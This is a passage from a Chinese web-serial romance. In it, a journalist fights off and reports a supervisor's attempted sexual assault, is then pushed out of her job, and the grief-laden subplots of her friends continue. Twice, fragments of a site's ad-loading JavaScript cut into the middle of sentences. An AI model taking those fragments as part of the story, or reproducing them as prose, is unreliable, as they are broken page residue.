林听扯了扯嘴角,“周总监你是想潜规则我吗?还是说你这是胁迫、引诱?” 这样的事情她其实不止这一次遇到,她刚出校园时那些人总以为能够拿捏住青涩的她。 在第一次遇见这样的事时,她倒也是害怕的、恐惧的,那时候她明明在怨恨着张期期,但在她恐惧的时候浮现在她脑海里的却又是张期期,那个一往无前,为了朋友,一遇到什么事头一铁就莽上去的张期期。 当年在火锅店,她兼职的时候被一对情侣讹上时,是期期出现帮助了她,她的那股气势和勇气至今还留在她的胸腔里,所以第一次遇到那样脏污的事情时,她便是凭借着这一股勇气保护了自己。 周震皱起眉头,“话不要说得那么难听嘛,这样的事情对你来说不是很习以为常嘛?” 林听冷笑了一下,“你这是诽谤、造谣了吧,周总监。”她盯着对方看了一眼,“没什么事,我就先出去了……” “别再装了,装一下是情趣,装太过可就不识趣了。”周震攥住了她的手腕,想将人拉着抱在怀里。 林听皱起眉头,挣扎着想要甩开对方的手,“我行得正坐得端!心脏的人看什么都是脏的。” 周震冷笑道:“行得正坐得端……呵……他许敬亭的床你就爬得,我周震就不行?你在看不起我?” 许敬亭……林听愣了一下,觉得简直匪夷所思,难怪她一回来他就想知道采访有没有成功,原来是认为她是靠美色。她采访成功了,周震就在心里给她按下了可潜规则的标签,所以急不可待地让她进来,他是多笃定她就是那种人,甚至连办公室外的同事还没下班就敢这样做。 林听愣神间,挣扎的力道小了一些,周震一喜,以为她同意妥协了,便将人迅速拉到怀里,他低下头准备一亲芳泽。 回过神的林听怒气直冒上心头,敬亭哥……敬亭哥……周震的话让她觉得备受冒犯,不仅是冒犯她,更是冒犯许敬亭。 她用力地推搡着对方,开口准备喊人,然而周震见林听的反抗居然是来真的,立刻伸手捂住了她的嘴巴。 唔——唔唔唔—— 两人推着扯着,林听被压着靠在了办公桌上,她余光瞥见一旁的玻璃杯,随手抄起就砸在周震的头上。 砰—— 周震两眼一翻栽倒下来,摔在了地上晕过去,玻璃杯也砸在了地上,啪地一声碎掉了。 林听用力地呼吸着,手撑在办公桌上支撑着身体,看着地上额头冒着血珠的周震她用力踹了两脚。 总监办公室先是传来“砰”的一声,接着又是“啪”的一声,员工办公区的同事们面面相觑,这是……这是怎么了? 余味立刻站起来,一脸诡异的笑容,难道是动作太激烈了……啧啧啧。 他就看这次还有谁觉得林听是靠真材实料,有时候他都羡慕女人。要不是怕周总监生气,他都想过去拉开办公室的门让大家看看林听到底是靠的什么! 夏佳佳吓了一大跳,猛地跳起来准备冲过去…… 余味眼疾手快的抓住了夏佳佳的手腕,要是他帮周总监遮掩了丑事,是不是周总监就会看重他一些? 思及此,他大声道:“夏佳佳你干嘛,周总监办公室你想闯就闯啊!” “你放开我!”夏佳佳心急不已,什么潜规则下属啊、胁迫威胁下属的事例在她脑海中浮现,她得去帮帮林听姐。 员工办公区的同事们面面相觑,一时间不知道该不该过去看看。 就在夏佳佳和余味争吵不休的时候,总监办公室的门被大力地扯开了,林听冷着脸走了出来,她的脸上还溅着周震的血,从大开的办公室门望进去甚至能看到周总监就躺在地上。 众人吓得眼睛都瞪了,看着脸上带血的林听仿佛见了鬼一样。 林听推开挡路的余味,径直走到自己的办公桌旁,拿出手机先打了120,“……对,地址没错,人晕过去了,额头上开了一道口……” 她挂断电话,又打了110,“喂……对,没错,上司想强|奸我,被我自卫后砸破了脑袋,嗯……我有证据!” 众人瞠目结舌,今天总监以上的领导刚好都出去了,这件事……就这么不遮掩一下直接报警了吗? 夏佳佳率先反应过来,她惊呼一声,几乎是扒在林听的身上,上上下下打量着,“林听姐,你受伤了?你脸上有血!” 林听笑了笑,“没事,都是周震的血。” 她说完,脸上带笑的弧度消失了,她环顾四周,望着这一圈的同事,“今天是周总监想潜规则我,我抵死不从,反手砸晕了他,这件事我有证据,也报了警,我们都是同一个公司的,上司是这样的人,我想大家都不会安心工作吧。” 这话一落,办公区的女同事面面相觑,眼底带着后怕,若是今日这事是她们的话,她们有林听这样的勇气吗?她们现在能做的就是统一战线,向上级反映,至少不让同为女性的林听寒心和她的反抗成为笑话…… …… 115. 第 115 章 - 110和120前后脚到了宏图传媒,120将周震送上了救护车,刚上救护车的时候,周震就醒了过来。 周震在救护车上嘶吼着要告林听动手伤人,而林听报了警,因此正在派出所和警察说着话。她手上握有证据,所以联系了周嘉先,准备反手告周震弓虽奸。 “……什么!你在派出所……发生什么事了?” “好好好,我立刻到,你……没事吧……没事就好没事就好……” 周嘉先接到电话,吓了一大跳,抄起车钥匙就往派出所赶,然而比周嘉先早到的却是许敬亭。 “林听!” 派出所的空调开得很低,林听坐在不锈钢长椅上浑身泛着凉意,她微微蜷缩着身子,神色有些呆愣,听到有人喊她的名字,她下意识以为是先前她打电话过去的“先哥。” 只是……她微微眯了眯眼,长廊那头一个男人步伐稳健、大步地走了过来,随着对方走近,她微微瞪大了双眼,下意识地站起身来。 敬亭哥? 许敬亭沉着脸,眼底肆虐着怒气、焦急和担忧不安。他站在林听的身前时,林听感受到了一股极强的压迫之感,心跳都瞬间急剧跳动起来,侵|略感太强了,和她往日里总是见到的温润截然相反。 “敬亭哥……你怎么……”在这…… 她才刚开口,面前的男人忽然伸手将她抱在了怀里,他的手掌按在她的后脖颈处,掌心炙热的温度仿佛蔓延到她的心里一样,滚烫温暖,驱散了她方才久坐在不锈钢长椅上的冰凉。 她的侧脸贴在对方的胸膛上,他强而有力的心跳感在她耳边响起,让她不自觉产生了想要依靠的念头。 周震的血溅在她脸上时,她并不是不慌的。冷静下来之后,坐在派出所的她心底才迟钝地泛上惊惧和忐忑,凉意将她裹挟着,让她的躯体有些细微的僵硬。 许敬亭微微低下头,侧脸轻轻地蹭了蹭她的发顶,将人紧紧抱在怀里的这一刻,他内心的后怕才缓缓退却,他不敢想象她要是真出了什么事…… “没事了,没事了。”他揉了揉她的发顶,很快又松开了手,往后退了两步拉开距离,刚刚差点遭遇那样的事情,任何男性的亲近可能都会让她不好受,许敬亭一想到这一点,突然有些懊悔,不该伸手抱她的。 林听眨了眨眼,低声道,“敬亭哥……你怎么在这?” 许敬亭的胸膛还在上下起伏着,他压了压胸腔中的怒意,尽量用平静的语气道:“你的录音笔没带走,忘在我办公室了,我让小陈送过去的时候,你的同事告诉……” 他抿着唇,回想起秘书小陈打电话告诉他她差点出事时,他仿佛在那一刻回到了多年前接到弟弟在学校出事的电话时一样,无尽的恐惧和不安让他慌乱、胆怯。 录音笔?林听回想了一下,好像……好像还真是的。 她当时因为看着“他”而无法进入专心致志的状态去记录下采访的要点,所以本子上仅有几句话,那时为了遮掩这一幕,她的全部注意力都在本子上,所以……放在茶几上的录音笔她好像是真的没有带走。 所以是陈秘书给她送录音笔来了,又找不到她人,所以同事将她遭遇的事情告诉了陈秘书,陈秘书又告诉了敬亭哥啊。 “我没事……”林听调整了一下呼吸,微笑着道。 许敬亭沉重的目光落在她的脸上,鬼使神差下,他双手捧着她的脸,掌心贴在她的下颌处,拇指轻轻搓了搓她脸上干涸的血迹。 林听愣了下,下意识往后躲了躲,方才那个怀抱可以说是朋友间的安慰,但现在的动作却太过暧昧了…… 这时,不远处传来凌乱的脚步声,周嘉先、陈秘书两道身影一前一后地跑过来,林听循声望过去,许敬亭也趁势收回了手。 “林……”周嘉先余光瞥到一旁的男人,蓦然瞪大了双眼,眼里闪过盛大的喜悦、惊讶,他下意识喊了一声,“兰亭!” 刚喊完这个名字,他看着对方陌生的眼神,仿佛一盆冷水浇了下来,周嘉先瞬间回过神来,不!这个男人不是兰亭。 和兰亭长得很像的人……兰亭的哥哥,许敬亭。 见应该是弟弟的朋友反应过来了,许敬亭才微笑着伸出手,道:“你好,我是兰亭的哥哥,许敬亭。” 周嘉先眼里闪过一丝伤痛,也跟着伸出手,礼貌笑道:“你好,我是周嘉先,兰亭高中朋友。” 许敬亭点点头,周嘉先……就是弟弟口中的“先哥”吧。 打过招呼,周嘉先立刻将目光放在了林听脸上,“没事吧?你吓死我了……”他的心里满满的都是后怕,兰亭已经走了,林听再出什么事,他还当什么照顾他们的哥哥。 “我没事,先哥,抱歉,吓到你了。”林听有些不好意思。 “和我说什么抱歉。”周嘉先无奈地说着,“你没事就好。”他看了看眼里面的警察,又道:“你先坐一下,我进去一下和他们谈一谈。” “嗯。”林听点了点头,又将手中的纽扣录音设备递给了他,“先哥,这个是微型的录音设备,里面有录音,是证据。” “好,我知道了。你放心,先哥一定把他送进去。”周嘉先咬牙切齿道。 一旁的秘书小陈小声和许敬亭道,“金颂律所的老板有两位,一位就是他,另一位也是兰亭的朋友,陈恕。” 原来如此……许敬亭心道,金颂律所他是听过的,这几年律师界的新起之秀,但许氏和这个律所没什么接触,其实不止许氏,他们圈子的世家大多是和老牌律所——联合律所接触得比较多。 …… 月上梢头,林听、许敬亭、周嘉先、陈秘书一行人从派出所出来,许敬亭道:“都还没吃饭吧?我请客,一起吃个饭?” 周嘉先看向一旁的林听,林听抿了下唇,脖颈、下颌处仿佛还遗留着对方手掌心的温热,她无意再去探究他刚才的行为背后是什么意义,微微垂眸拒绝了,“不了,敬亭哥,我有些累了,想回家。” 许敬亭指尖微攥,面上闪过歉意,“不好意思,没考虑到你的心情……那……我送你回去吧。” 林听往后退了一步,摇摇头,“不用了,今天已经很麻烦您了,先哥会送我回去的。” 周嘉先点头,“我送她回去就行,反正也顺路。” 许敬亭看了林听一眼,颔首道:“回去早点休息,也别忘了吃饭。” “……好。” … 橘黄色的路灯倾洒下泛着暖意的光芒,周嘉先的车子消失在道路的尽头,许敬亭目光晦涩又难堪,是被发现了吗?她意识到他不再是那个好哥哥,而是个卑劣的小人了吧…… 许敬亭沉默伫立良久,最后将钥匙丢给秘书小陈,道:“走吧。” “好的。”他接过老板汽车的钥匙,上了车坐在驾驶座上发动了车子,看来他自己的车只能明天再来开走了。 当局者迷,旁观者清啊,他其实理解老板没心情开车的感受,这些年来,林小姐望着兰亭大厦思念着旧人,而老板或许最开始只是想好好看顾着弟弟喜欢的女孩子,但看着看着,不知道什么时候就看到了心里吧…… …… 另一边—— 京照市的街道总是喧嚣热闹的,周嘉先放缓了汽车行驶的速度,窗外亮着的车尾灯闪烁在他的眼底,车厢内安静无声。 他余光瞥了一眼沉默地望着窗外景色的林听,想了想,他还是出声问道:“林听……你、你怎么会和兰亭的哥哥在一起?” 他看得非常清楚,他们之间肯定私底下有过来往,而且……许敬亭看她的目光总让他觉得有些微妙,更重要的是,他们兄弟俩真的长得太像了!太像了! 周嘉先心中泛上深深的忧虑,林听到底有多喜欢兰亭,他是深有体会的。此时,他的脑海里闪过高中时张期期看过的白月光替身小说,总……总不会是这样吧,他看向林听的目光透着匪夷所思。 林听垂下眼帘,望着自己放在腿上的手心,低声道:“高二那年,我奶奶生病住院了,需要做手术,兰亭借了我十几万块钱,我毕业后陆陆续续在还,所以和敬亭哥有接触。” 这是周嘉先所不知道的事情,他诧异道:“高二?” “嗯。” 周嘉先想了想,终于从褪色的记忆中想起来,高二下学期有一段时间林听和兰亭确实神出鬼没的,“你怎么不和大家说?” “也不是故意隐瞒的,只是奶奶当时很快就做完手术了,后续恢复效果也还好,我就没说了……” 周 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 嘉先叹了口气,想起兰亭去世的那段时间,也是……没有谁比她更会压抑情绪了,当年她硬是忍到了高考结束才靠在他的肩膀上哭晕了过去。 心脏隐隐作痛,周嘉先满眼是心疼,他腾出一只手摸了摸她的发顶,“以后有什么事,一定告诉我,好吗?不要有任何顾虑。” “嗯……我会的。”林听微微红了眼眶。 将林听送到家门口后,周嘉先还是将心底反复斟酌后的话说了出来,“林听,要不,咱以后还是尽量……尽量少接触兰亭的哥哥吧?你还欠多少钱,先从先哥这里借,咱一次性先还了?” 即便他知道林听也把他当哥哥,但这话他还是越界了。他也不是那种喜欢干涉别人选择的人,只不过……许敬亭和兰亭长得太像了!太像了!不合适啊……要是继续接触下去,肯定要出事的,到时候她能不能分清她到底在喜欢谁? 林听闻言,下意识咬了下唇,“先哥,你不用担心,我都明白的。” “行……你、你自己心里有数就行。”周嘉先颔首,“进去吧……” “嗯,先哥你路上小心。” …… 暮色深浓,皎洁的月光落在厨房的窗沿上,林听失神地搅拌着锅里的面条,面条汤咕咚咕咚地滚着,她的脑海里闪现在派出所时,许敬亭双手捧着她脸的那一幕,耳边又响起先哥说的话…… 她懊恼地捂住了脸,她都在干什么啊! 兰亭是兰亭,敬亭哥是敬亭哥,她怎么能……怎么能在敬亭哥的身上找兰亭的影子!连先哥都看出她这么龌蹉的心思了,敬亭哥又怎么会不清楚? 那……那之前敬亭哥都是为了迁就她,才故意拿下眼镜的,还有这一次…… 林听下意识捂住了仿佛还带着温热的下颌处,这一次是因为她遇险了,所以敬亭哥为了安慰她才做出那么暧昧的举动,这都是为了让她透过他假想着兰亭在安慰她吧…… 泪珠从她的眼角溢出,林听吸了吸鼻子,明明敬亭哥同样失去了兰亭,同样悲痛不已,却还要顾及她的心情,甚至不惜模仿兰亭来安慰她,这对于敬亭哥来说,更是一种痛吧,在模仿和相似中,时时刻刻感受着兰亭的离去。 不可以…… 不能再这样下去了…… 面条滚动着,漂浮在汤上,林听抬手抹去眼角的泪水,余光瞥了一眼已经煮好的汤面,将之盛了出来,放在餐桌上,她一边吃着面条,一边左手在手机屏幕上按着字,她发给了陈秘书。 【陈秘书,你好,这是我剩余的还差兰亭的钱,我直接转账给你,你帮我还给敬亭哥吧,麻烦你了,以及非常感谢。】 接着是一条转账信息。 发完之后,林听一下子靠在了椅背上,完全没了食欲,就这样吧……她自己一个人痛可以,但不能拉着敬亭哥一起痛。 吧嗒—— 眼泪滴落在餐桌上的声响在寂静的夜幕中格外地大声,林听抬起手臂压在双眼上,任由无尽的思念、忧伤笼罩在她的心上。 没有办法啊……兰亭,她真的很没用,她很努力要笑了,但是眼泪还是会不由自主地掉…… * 收到林听信息的秘书小陈顿时坐立不安起来,他从后视镜里偷偷瞥了一眼正准备下车的老板。 许敬亭顿了下,敏锐地察觉到秘书小陈为难的眼神,他收回推着车门的手,“怎么了?” 秘书小陈头皮发麻,迟早都要说的,他心一横,将手机递给了许敬亭,道:“老板,您自己看吧。” 许敬亭接过手机,扫了一眼,整个人一滞,片刻后,他往后靠了靠,扬起脖子靠在后排的椅背上,扯了扯嘴角,“我知道了,你正常回复就行。” 秘书小陈诧异地接过手机,犹犹豫豫道:“那我就回复,好的,我会转告给您的。” “嗯。就这样吧。”许敬亭拧着眉心。 秘书小陈指尖在屏幕上戳了戳,回复了林听,他放下手机,小心翼翼地看着老板,“老板,那……没什么事,我就先下班了……” “你下班吧。” “老板再见!”秘书小陈麻溜地下车,打了辆出租车回家。 都是成年人了,得及时止损啊。许敬亭笑了笑,然这一夜,他还是在车里坐到了天亮…… 116. 第 116 章 - 噔—— 一条信息接着一条信息浮现在手机屏幕上,周嘉先开着车余光瞥了一眼,嘴角微微上扬,是她妹妹林絮发过来的信息。 前方刚好是红灯,他抽空回了个信息,【这就回了。在路上。】 对方瞬间秒回,噔噔噔地连续发过来好几个可爱的表情包,周嘉先眼底闪烁着笑意。随后他看了一眼时间,已经有点晚了,父母今晚又是夜班,家里就林絮一个人在家,他还是赶紧回去吧。 到了家门口,周嘉先才刚拿出钥匙,家门便被打开了,他还未看清眼前的画面时,怀里突然塞进了一个柔软的身体。 “哥……你终于回来了。” 周嘉先愣了下,垂眸望下去,少女卷曲的长发披散着,穿着小吊带连衣裙,她靠在他怀里,微扬起脸,目光盈盈、满是信赖地看着他。 白皙到透着苍白的小脸和他身穿的黑色西装形成了鲜明的对比,家里橘色暖光灯下,她露在外的皮肤上仿佛跳跃着莹莹光泽感,即便他穿着一整套的西装,她身上的柔软仿佛依旧透过外衣直击到他的心间。 她钻进他的怀里,他下意识伸出手揽在她的肩膀上。 周嘉先抿了下唇,不动声色地收回了手,这一刻他突然意识到他妹妹早就长大了,也是,现在都大四了、都要大学毕业了……是他照顾她照顾习惯了,所以一直没有意识到这一点。 “嗯,回来了。”周嘉先将公文包随手放在玄关的柜子上,绕开她,低着头脱鞋换鞋,嘴上边道:“你吃饭没?” 他一低头便看见她光着脚丫踩在地板上,周嘉先皱了皱眉头,又拿了一双拖鞋出来,放在她的脚边,“地板凉,把鞋穿上。” “哦……”林絮哦了一声,等周嘉先站直起身,她又往他的方向走两步,直接抱着他的胳膊,“哥,我还没吃饭呢,干嘛突然这么问,我每天晚上都是等你回来的……爸妈这阵子好忙啊,老是夜班夜班的。” 周嘉先:…… 胳膊贴在她胸上了…… “我现在去给你做饭。”周嘉先轻轻挣脱开来,径直走进厨房,拉上了玻璃门。 看着她哥落荒而逃的样子,林絮原地偷偷笑出了声,“哥,能吃饭了叫我啊……” 厨房里传来她哥干巴巴的一声,“好。”她脚步轻盈地走回了房间,关上门,往床上一趴,开心地滚了两圈,随后在枕头底下摸出手机,在舍友群里噼里啪啦地一阵打字。 “谢谢姐妹们,你们的办法果然奏效耶,我哥终于意识到我不仅仅是她妹妹了。” 【还是个女人。】 “哎呦……害羞。” 【一肚子坏水、觊觎他的女人。】 “哼,本来就是,妹妹、妹妹的,烦死了。” 【女人呐,以前还炫耀自己的哥哥多好,现在又说当妹妹烦死了。】 …… 厨房内,周嘉先静静地站了好半响,脑海中摈除了那种柔软的触感之后,才开始一心一意地做菜。 律师的工作虽然繁忙,但他正常来说都是到点就走的,反正工作也可以拿回家做。 妹妹小絮在本地上大学,所以经常是第二天没有早课的话,就会回家来住,而她又是个十指不沾阳春水的,从小到大父母不在家的话,都是他负责照顾她的日常,所以做菜做饭这种事他向来得心应有。 半小时后,两菜一汤就做完了。周嘉先将饭盛好,放在桌面上,筷子摆好,这才喊了一声,“小絮吃饭了……” 房间内的林絮闻声应好,她从床上坐起来,想了一下,还是换掉了那身清凉的小吊带,唔……不能急,太着急把她哥吓跑了就惨了,要知道,要不是因为她经常回家,父母又上班忙,他哥不放心她自己一个人在家,肯定早就搬出去住了,毕竟也快三十了,更何况他房子都买好、装修好了,就差软装了。 唔……不能急。心急吃不了热豆腐。 穿上内衣,换上正常的短袖短裤家居服,她这才走了出去,坐在了周嘉先的对面。 “哥……怎么今天晚上这么晚才回来啊?”林絮咬着筷子道。 周嘉先微微抬眸,见她把衣服换了,这才松了口气,坐直身体,想来刚才小絮是刚睡醒,所以才…… 自己是她哥哥,她不注意也是正常,但是在学校……周嘉先眉头微微一皱,生怕因为妹妹是自己带大的,所以对男性不设防,再想到今天林听差点遭遇到的事情,他顿时觉得头都大了,看来还是得和她说一说,正常来说,这些都是他妈来说的,但他妈又忙得很…… 啧……头疼。 “哥!”林絮重重地把筷子放下,已经开始不高兴了,“你在想什么,怎么不回答我……” 周嘉先回过神,眼底含着歉意,对于妹妹小絮时不时发脾气的样子已经习惯了,他笑着道:“刚才你问我怎么这么晚回来,我就想到了工作上的事,所以走神了。” 他的筷子还没用过,因此他夹了菜放在她碗里。 “是工作上的事?”林絮狐疑道。 “是。”周嘉先无意讲起林听差点遭遇到的事情,因此催促道:“快吃吧。吃完饭等会儿要吃药了。” 吃药。吃药。 林絮一听就没了其他的心思,哦了一声,更是不高兴了。 周嘉先没理她,径直吃饭,什么事都能妥协,唯独吃药这事他从不退步。 …… 吃完饭,他收拾洗碗,用餐布将大理石台上的水渍擦干之后,周嘉先将围裙脱下来,又擦干了手。 小絮的药专门放在一个固定的柜子里,他按照药嘱一颗颗拿药,又装了杯温水,敲了敲林絮的房门。 好半响,门内毫无动静,周嘉先早就猜到了,他道:“小絮,你是自己开门,还是哥去拿钥匙来开?” 片刻后,拖拖拉拉的脚步声响起,林絮不开心地打开房门,看也不看周嘉先一眼,又往床上趴,她瓮声瓮气道,“不想吃,一天不吃行不行啊哥。” “不行。” 周嘉先斩钉截铁,妹妹患有心脏病,每天都要吃药,这个观念从他懂事开始就刻在脑海里。别看她闹起来气势汹汹…… 他想起来她发病时候的模样,至今仍然心有余悸。 “我不吃,就不吃。反正也活不长,少吃一次能怎么样?”林絮开始蹬腿,一副非暴力不合作的模样。 周嘉先神色平静,将药和水杯放在桌上,将人半拉半抱起来,她蜷缩在他怀里,他开始低声哄她。 她次次摇头,将脸埋在他胸前。周嘉先也不恼,情绪非常稳定,“少吃一顿你会怎么样,哥也不清楚,可能没事,也可能会发病,但万一就是这次没吃,你发病了,以后我怎么办?小絮,你说我怎么办?” 林絮揪着他的衣服抬眸望向他,周嘉先眼神温和、指腹摩挲过她的额角,定定地看着她。 片刻后,林絮努了努嘴,气哼哼道,“吃,我吃。” 温水伴着异物感划过喉管,林絮红着眼压制住想吐的反应,吃药多年,她的逆反心理很重,烦躁想大发脾气,但大发脾气又会影响她的身体,一口气憋得不上不下的,她拿头恨恨地撞了撞周嘉先的胸口。 她把药吃下去了,周嘉先的神情变得更加柔和,他的眼底泛着压抑的心疼,被羸弱的身体禁锢了这么多年,就像头顶一直悬着炸弹一样,他妹妹已经很乖了,在他看来时不时的脾气都是很正常的。 “好了,没事了。刷牙了没有?要不要睡觉?” “刷了……”因为药物的副作用,她很快就觉得困了,“我要睡觉,你在这陪我。” “好,我不走……” 周嘉先伸手将大灯关掉,只留下一盏小夜灯,他握着她的手坐在床边,过了一会儿,听到她绵长平稳的呼吸时,他才慢慢松开她的手,将被角掖了掖,起身离开了她的房间。 周嘉先回到他自己的房间,洗簌收拾完后,又开始办公,等到将手头上林听的案件资料整理完后,他想了想还是发了微信告知了陈恕。 律所接了什么单子,陈恕最终还是会知道的,更何况林听也是他们共同的好友,这事没可能瞒住,也没必要瞒。 …… 另一边,鹿海市…… 暴雨如注,窗外电闪雷鸣,室内橘黄色的暖光灯亮着,让人感觉安心和舒适。 电视上正播放着搞笑的娱乐综艺节目,笑声一阵阵回响在客厅里,张期期倚靠在沙发上,抱着抱枕偷偷看向距离她一米远另外一张单人沙发上的陈恕,对方正专心致志地看着电视,但却不见他跟着综艺节目笑一笑。 陈恕……唔…… 张期期又瞥了一眼窗外的糟糕天气,这样的天气她也不好赶人走吧,让陈恕去住酒店……唔……可是之前她在京照市,陈恕接待了她,今天中午、晚上都是他做的饭,洗的碗,真要赶人家走好像不太好…… “外面风雨太大了,要不你今晚就先住这儿吧?楼下有间客房……你可以……” “好。”陈恕转过头来,他还以为她会让他去住酒店呢…… 张期期话都没说完,她噎了一下,又道:“我去给你铺一下床单。”她蹬蹬蹬地跑上了楼梯。 陈恕看着她的背影,眼神深沉。一声细微的手机震动响起,他摸出来看了一下,先哥发过来的…… 片刻后,他的脸色越来越难看,看到最后才微微松了一口气,随即还是拨了个电话回去,细细问起来这件事。 “……周震?”张期期抱着床单、薄被和枕头站在陈恕的身后狐疑地问了一句。 陈恕闻声,立刻下意识地捂住了手机,低声道:“现在有事,晚点再说。”他挂断了电话…… 张期期皱起眉头,她不是故意偷听的,只是恰好听到了宏图传媒,而林听又在宏图传媒,所以她才走了过来,一走过来又听到了周震的名字。 “是林听的事吗?”她心里闪过猜测,能让陈恕在她面前讳莫如深的样子,现在只有可能是林听了……如果是林听的事,她不能不问。 陈恕沉默片刻,到底不想对着她说谎,于是便三言两语地将林听的事说了一下。 张期期瞪大双眼,眼中闪过惊惧不安,很多年前,林听揣揣不安的神情出现在她的脑海里,她顿时急得不行。 “我们现在就回去。”张期期随手将手上抱着的东西丢在了沙发上,抓起陈恕的胳膊就想往外走。 陈恕按住了她的肩膀,“期期,林听没事!” “我知道她没事,但是没事归没事,她肯定会害怕的。” 陈恕攥着她的手臂,“你看看外面的天气,飞机能起飞吗?” 张期期望着电闪雷鸣的夜空,一股气顿时泄了下去。 “明天吧。明天早上回去。”陈恕道。 “嗯……” 张期期垂着头,松开攥着陈恕的手臂,再次抱起枕头、床单、被子,准备往客房走去。 ……兰亭离开的时候,林奶奶离开的时候,再接着是这一次,每一次林听需要人陪伴的时候,她都不在,这样的她怎么做她的朋友,她有什么资格当她的朋友? “等一下……”陈恕将她手中的东西接了过来,下巴微抬,“是哪间房吗?” “哦,是。”张期期走过去开门,开灯,好在这间房子平日里也是有打扫的,所以还算干净。 陈恕将床单铺好,被子枕头放好之后,又拉着张期期走到了客厅,按着她的肩膀让她坐在沙发上,问道:“你认识周震?” 张期期点了点头,“认识,不过也仅仅是知道这个人而已,他是周氏娱乐周家的二儿子,宏图传媒算是周氏娱乐底下很重要的一家公司。” 她不确定地问道:“要打官司的话,对上周氏娱乐……” 周氏娱乐……陈恕还在联合律所的时候就听过这家企业的名字,他嘴角扯了扯,“在绝对的证据面前,周震是谁的儿子都没用。不过提前了解到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他的身份,倒是可以猜测他会有什么样的应对手段。” “……嗯,打官司这事我不担心,就是林听的工作……”张期期气馁道,“好可惜啊……她在宏图都好多年了……” “林听很优秀,不在宏图,也可以去其他的公司,以她的能力,对家公司一定会挖她的。”陈恕宽慰张期期道。 “嗯……” 张期期转辗反侧了大半夜,第二天带着浓重的黑眼圈起床,她和陈恕草草吃完早饭,收拾完之后拎着行李箱、带上木木走出了院子。 这一天的早晨依旧是阴雨绵绵的,空气中雾气、湿气浓重,眼前的世界略带朦胧。 张期期抱着木木站在院门口,凝望着这栋小二层的自建房,在她人生中最为迷茫和无处可依的时候,是这栋房子和姥姥收留了她,让她有所倚靠。 当初独身一人来到了鹿海市,现在她要回京照了,身边是软软绵绵的木木,还有……陈恕。 “走吧……”她开口道。 陈恕嗯了一声,一手拎着行李箱,一手撑着伞走在张期期的身边,雨水汇聚成一股股的水流从伞面滑下,鹿海市被他们抛在了身后。 * 宏图传媒,总经理办公室。 李溧阳一脸为难地看着林听,早知道昨天会发生这样的事,她就不该离开宏图,有什么事完全可以让底下人去做,为什么非得自己出门一趟呢? 现在好了,最喜欢的下属只能离开公司,那个空降的总监那边还故意在医院躺着,她真不好交代,毕竟是董事长的儿子。 李溧阳眼神抱歉道,“林听,这事儿你没错,错的是那个渣仔。但是……宏图毕竟是人家家里的企业,你已经不适合继续留在公司了,这是为你好。” 林听沉默片刻后,抬眸笑了笑,这结果她早就料到了,所以倒也不觉得有什么,比起她只是失去一份工作,那个家伙大概率要坐牢的。 “李总,我明白的。我今天过来就是为了交稿子,关于新项目采访许氏地产许兰亭的稿子。”林听说着将已经写好打印出来的稿子放在了对方的桌面上。 李溧阳诧异了一瞬,昨天她遇到了那样的事,回去还能继续将稿子写出来!这份关于许敬亭的采访确实能推动他们新项目的发展……许敬亭也不是谁的采访都愿意抽出时间的。 一想到这么能干的下属就要走了,李溧阳觉得自己心都在滴血啊!!!她揉了揉眉心,无奈极了,“你啊……我都不知道怎么感谢你了。” 林听无所谓地笑了笑,她并不是为了宏图,她没有那么高尚,之所以写那篇稿子只是因为被采访者是敬亭哥而已。 “李总,没事的话,我就先走了。” “等等……为了你的人事简历上好看一些,我这边给人事的说法是你是自动离职的,不是被辞退的,但是关于你的补偿会照辞退的补偿给的。” 林听脚步一顿,目光迟疑。 李溧阳见状倒是笑了,“这点权利,我还是有的。你放心,只是小事而已。另外……如果你想继续从事现在的工作的话,华章那边其实还不错。” 华章传媒,宏图传媒的对家。 “嗯,我会考虑的。”林听点点头,走出了总经理办公室,回到了自己的位置上,开始收拾东西。 员工办公区的同事面面相觑,一个个想问又不好意思,生怕戳中她的伤心事,但夏佳佳可没有这个顾虑,她见状也跟着开始收拾自己桌面上的东西。 林听姐都不干了,她还留在这儿做什么! 抱着一堆东西,夏佳佳蹭到了林听的身边,低声道:“林听姐,我跟你一起走。” 林听:…… 她愣了一下,停下手头上的动作,无奈道:“别闹了,赶紧把东西放回去继续工作吧,大概会换个人带你,你好好学。” “我说真的!”夏佳佳小声强调道,“我有个想法,我们去华章传媒吧!” “哟,华章传媒是你们想去就能去的?说得这么理所当然!”余味拐了个弯走过来嘲笑道。 夏佳佳顿时怒了,“余味你嘴巴这么碎干嘛,关你屁事!你是进不去华章的,但我……”她白了对方一眼,信誓旦旦道:“我想进就进!” “你就吹牛吧!”余味哼了一声。 “你……”夏佳佳怒火直往心头冒,这时,林听笑了笑,语气却很冷淡,“华章的老板姓夏。” 夏佳佳的怒火一瞬间卡住了,林听姐知道?华章的老板是她的堂姑姑,她就是为了不想走关系进华章,为了证明自己才努力进了宏图的。 余味顿了顿,这话是什么意思?华章的老板姓夏,夏佳佳就姓夏,难道夏佳佳和华章的老板有血缘上的关系!这不可能吧……真要有关系,来宏图干嘛! 可是……真不是的话,夏佳佳为什么那么理所当然地说华章是她想进就能进的! 嫉妒和不甘将他烘烤得备感焦灼,同时他心中又冒出浓浓的懊悔,要是知道夏佳佳这个实习生和华章有关系,他就不找她茬了,和对方相处得好一点,说不定将来能成为他的助力呢!可是……现在都迟了! 余味面色扭曲一瞬,冷哼一声就回了他的办公桌处。 林听淡淡地收回视线,快速将东西收进牛皮盒子里,随后背上包,抱着盒子走出了宏图传媒,她的身后同事们面露可惜、遗憾,她们目送她离开。 夏佳佳连蹦带跳地跟在林听的身后,出了宏图后,她笑嘻嘻道:“走,林听姐,跟我去华章!” 林听微微摇了摇头,“我还没考虑好,考虑好的话会向华章递简历的。”她说到这里,顿了一下,“佳佳,你在宏图和大家的关系都不太好,确实不太适合留在那了,华章也很好,回去好好努力吧,有关系的话,他们会更愿意教你的,你会做得比我更好的。” “可是……林听姐,我就想让你教我嘛……” “佳佳,我想要停下来,好好想一想。” …… 117. 第 117 章 - 夏佳佳离开后,林听抱着牛皮盒子一时间不知道该去哪里,她漫无目的地走在大马路上。五月,夏日的阳光格外绚烂,金色的光芒笼罩着大地,柏油路上闪烁着细微的亮光般。 